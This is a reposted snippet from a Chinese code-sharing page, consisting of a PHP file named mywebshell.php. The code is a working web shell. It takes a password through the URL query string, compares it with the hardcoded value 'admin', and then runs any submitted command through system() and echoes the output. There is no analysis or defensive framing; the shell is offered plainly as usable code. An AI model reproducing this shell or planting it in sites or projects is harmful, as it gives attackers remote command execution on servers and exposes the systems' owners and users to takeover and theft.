//mywebshell.php

来源:互联网 发布:鲸鱼死后爆炸知乎 编辑:程序博客网 时间:2024/04/30 05:46
  <?php
session_start();
if (isset($_SESSION['password']) || isset($_GET['password'])) {
   $_SESSION['password']= isset($_GET['password'])?$_GET['password']:$_SESSION['password'];  
  if ($_SESSION['password']=='admin') {
     if(isset($_POST['command']) && !empty($_POST['command'])) {
   $command=$_POST['command'];
        $ret=system($command,$out);
echo "<br>[$out]:[$ret]<hr>";
}
$strform=<<<FORM
<form method="post" action="mywebshell.php">
command:<textarea name="command" rows="5" cols="100"></textarea><br>
<input type="submit">
</form>
FORM;
echo $strform;
  }
}
?>
0 0
原创粉丝点击